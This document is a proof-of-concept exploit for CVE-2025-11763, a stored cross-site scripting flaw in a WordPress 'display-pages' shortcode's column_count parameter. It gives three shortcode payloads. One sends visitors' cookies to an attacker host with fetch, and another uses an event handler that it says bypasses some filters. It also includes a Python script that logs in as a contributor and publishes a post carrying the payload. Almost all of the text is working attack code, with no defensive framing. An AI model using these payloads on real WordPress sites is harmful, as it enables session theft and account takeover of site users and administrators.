CVE-2025-11763

<!-- CVE-2025-11763 PoC: Stored XSS via column_count parameter --> <!-- Attack requires contributor-level access or higher --> <!-- Method 1: Via WordPress Shortcode --> [display-pages column_count="1'><script>alert('XSS');</script>"] <!-- Method 2: More sophisticated payload for cookie stealing --> [display-pages column_count="1'><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Method 3: Using event handlers (bypasses some filters) --> [display-pages column_count="1' onmouseover='alert(document.cookie)'"] <!-- Python script to exploit (requires valid WordPress session) --> import requests target_url = "https://target-wordpress-site.com/" login_url = target_url + "wp-login.php" post_url = target_url + "wp-admin/post.php" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode post_data = { "post_title": "Malicious Page", "post_content": "[display-pages column_count=\"1'><script>alert(document.cookie)</script>\"]", "post_status": "publish", "action": "editpost" } resp = session.post(post_url, data=post_data) print(f"Exploit sent. Check {target_url} for XSS execution.")

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